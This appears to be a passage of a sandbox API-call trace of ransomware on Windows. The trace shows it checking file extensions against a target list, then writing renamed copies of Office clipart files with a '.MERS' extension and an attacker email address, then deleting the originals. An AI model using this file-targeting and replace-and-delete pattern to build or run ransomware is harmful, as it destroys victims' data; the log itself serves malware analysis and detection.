[0261.162] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.162] lstrlenW (lpString=".xls") returned 4 [0261.162] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.162] lstrlenW (lpString=".xlsx") returned 5 [0261.162] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.162] lstrlenW (lpString=".ppt") returned 4 [0261.162] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString=".zip") returned 4 [0261.162] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.162] lstrlenW (lpString=".rar") returned 4 [0261.162] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.162] lstrlenW (lpString=".bz2") returned 4 [0261.162] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.162] lstrlenW (lpString=".7z") returned 3 [0261.162] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString=".dbf") returned 4 [0261.162] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString=".1cd") returned 4 [0261.162] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString=".jpg") returned 4 [0261.162] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.162] lstrlenW (lpString=".doc") returned 4 [0261.162] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.162] lstrlenW (lpString=".docx") returned 5 [0261.162] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.163] lstrlenW (lpString=".pdf") returned 4 [0261.163] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.163] lstrlenW (lpString=".xls") returned 4 [0261.163] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.163] lstrlenW (lpString=".xlsx") returned 5 [0261.163] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.163] lstrlenW (lpString=".ppt") returned 4 [0261.163] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.163] lstrlenW (lpString=".zip") returned 4 [0261.163] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.163] lstrlenW (lpString=".rar") returned 4 [0261.163] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.163] lstrlenW (lpString=".bz2") returned 4 [0261.163] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.163] lstrlenW (lpString=".7z") returned 3 [0261.163] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.163] lstrlenW (lpString=".dbf") returned 4 [0261.163] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.163] lstrlenW (lpString=".1cd") returned 4 [0261.163] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0261.163] lstrlenW (lpString=".jpg") returned 4 [0261.163] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.163] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0261.163] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0261.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0261.164] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=10562) returned 1 [0261.164] CloseHandle (hObject=0x2d8) returned 1 [0261.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0261.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0261.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0261.164] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.164] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0261.165] GetLastError () returned 0x0 [0261.165] ReadFile (in: hFile=0x2d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x2942, lpOverlapped=0x0) returned 1 [0261.166] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2950, lpOverlapped=0x0) returned 1 [0261.167] ReadFile (in: hFile=0x2d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.167] WriteFile (in: hFile=0x3b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.167] SetEndOfFile (hFile=0x3b0) returned 1 [0261.167] CloseHandle (hObject=0x3b0) returned 1 [0261.167] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.167] SetEndOfFile (hFile=0x2d8) returned 1 [0261.169] CloseHandle (hObject=0x2d8) returned 1 [0261.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0261.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.170] lstrlenW (lpString=".doc") returned 4 [0261.170] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.170] lstrlenW (lpString=".docx") returned 5 [0261.170] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.170] lstrlenW (lpString=".pdf") returned 4 [0261.170] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.170] lstrlenW (lpString=".xls") returned 4 [0261.170] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.170] lstrlenW (lpString=".xlsx") returned 5 [0261.170] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.170] lstrlenW (lpString=".ppt") returned 4 [0261.170] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.170] lstrlenW (lpString=".zip") returned 4 [0261.170] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.171] lstrlenW (lpString=".rar") returned 4 [0261.171] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.171] lstrlenW (lpString=".bz2") returned 4 [0261.171] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.171] lstrlenW (lpString=".7z") returned 3 [0261.171] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.171] lstrlenW (lpString=".dbf") returned 4 [0261.171] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.171] lstrlenW (lpString=".1cd") returned 4 [0261.171] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.171] lstrlenW (lpString=".jpg") returned 4 [0261.171] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.171] lstrlenW (lpString=".doc") returned 4 [0261.171] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.172] lstrlenW (lpString=".docx") returned 5 [0261.172] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.172] lstrlenW (lpString=".pdf") returned 4 [0261.172] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.172] lstrlenW (lpString=".xls") returned 4 [0261.172] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.172] lstrlenW (lpString=".xlsx") returned 5 [0261.172] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.172] lstrlenW (lpString=".ppt") returned 4 [0261.172] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.172] lstrlenW (lpString=".zip") returned 4 [0261.172] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.172] lstrlenW (lpString=".rar") returned 4 [0261.172] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.172] lstrlenW (lpString=".bz2") returned 4 [0261.172] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.172] lstrlenW (lpString=".7z") returned 3 [0261.172] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.172] lstrlenW (lpString=".dbf") returned 4 [0261.172] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.172] lstrlenW (lpString=".1cd") returned 4 [0261.172] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0261.172] lstrlenW (lpString=".jpg") returned 4 [0261.172] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.172] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0261.172] lstrlenW (lpString="FALL_01.MID") returned 11 [0261.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0261.662] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=4846) returned 1 [0261.662] CloseHandle (hObject=0x398) returned 1 [0261.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0262.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0262.277] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.277] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.280] GetLastError () returned 0x0 [0262.280] ReadFile (in: hFile=0x384, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0262.413] WriteFile (in: hFile=0x39c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0262.414] ReadFile (in: hFile=0x384, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.414] WriteFile (in: hFile=0x39c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.414] SetEndOfFile (hFile=0x39c) returned 1 [0262.952] CloseHandle (hObject=0x39c) returned 1 [0263.378] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.378] SetEndOfFile (hFile=0x384) returned 1 [0263.722] CloseHandle (hObject=0x384) returned 1 [0263.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0263.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.737] lstrlenW (lpString=".doc") returned 4 [0263.737] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0263.737] lstrlenW (lpString=".docx") returned 5 [0263.737] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0263.737] lstrlenW (lpString=".pdf") returned 4 [0263.737] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0263.737] lstrlenW (lpString=".xls") returned 4 [0263.737] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString=".xlsx") returned 5 [0263.738] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0263.738] lstrlenW (lpString=".ppt") returned 4 [0263.738] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString=".zip") returned 4 [0263.738] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString=".rar") returned 4 [0263.738] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString=".bz2") returned 4 [0263.738] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0263.738] lstrlenW (lpString=".7z") returned 3 [0263.738] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString=".dbf") returned 4 [0263.738] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString=".1cd") returned 4 [0263.738] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString=".jpg") returned 4 [0263.738] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.738] lstrlenW (lpString=".doc") returned 4 [0263.738] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0263.738] lstrlenW (lpString=".docx") returned 5 [0263.738] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0263.738] lstrlenW (lpString=".pdf") returned 4 [0263.738] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString=".xls") returned 4 [0263.738] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0263.738] lstrlenW (lpString=".xlsx") returned 5 [0263.739] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0263.739] lstrlenW (lpString=".ppt") returned 4 [0263.739] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0263.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.739] lstrlenW (lpString=".zip") returned 4 [0263.739] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0263.739] lstrlenW (lpString=".rar") returned 4 [0263.739] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0263.739] lstrlenW (lpString=".bz2") returned 4 [0263.739] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0263.739] lstrlenW (lpString=".7z") returned 3 [0263.739] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0263.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.739] lstrlenW (lpString=".dbf") returned 4 [0263.739] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0263.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.739] lstrlenW (lpString=".1cd") returned 4 [0263.739] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0263.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0263.739] lstrlenW (lpString=".jpg") returned 4 [0263.739] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0263.739] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0263.739] lstrlenW (lpString="PAPER_01.MID") returned 12 [0263.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0263.742] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=6763) returned 1 [0263.742] CloseHandle (hObject=0x3bc) returned 1 [0263.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0263.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0263.743] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.743] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0263.743] GetLastError () returned 0x0 [0263.744] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0263.915] WriteFile (in: hFile=0x2dc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0263.915] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.915] WriteFile (in: hFile=0x2dc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.915] SetEndOfFile (hFile=0x2dc) returned 1 [0264.388] CloseHandle (hObject=0x2dc) returned 1 [0264.660] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.661] SetEndOfFile (hFile=0x3bc) returned 1 [0264.881] CloseHandle (hObject=0x3bc) returned 1 [0264.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0264.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.904] lstrlenW (lpString=".doc") returned 4 [0264.904] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.904] lstrlenW (lpString=".docx") returned 5 [0264.904] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.904] lstrlenW (lpString=".pdf") returned 4 [0264.904] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.904] lstrlenW (lpString=".xls") returned 4 [0264.904] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.904] lstrlenW (lpString=".xlsx") returned 5 [0264.904] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.904] lstrlenW (lpString=".ppt") returned 4 [0264.904] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.904] lstrlenW (lpString=".zip") returned 4 [0264.904] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.904] lstrlenW (lpString=".rar") returned 4 [0264.904] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.904] lstrlenW (lpString=".bz2") returned 4 [0264.904] lstrcmpiW (lpString1=".bz2", 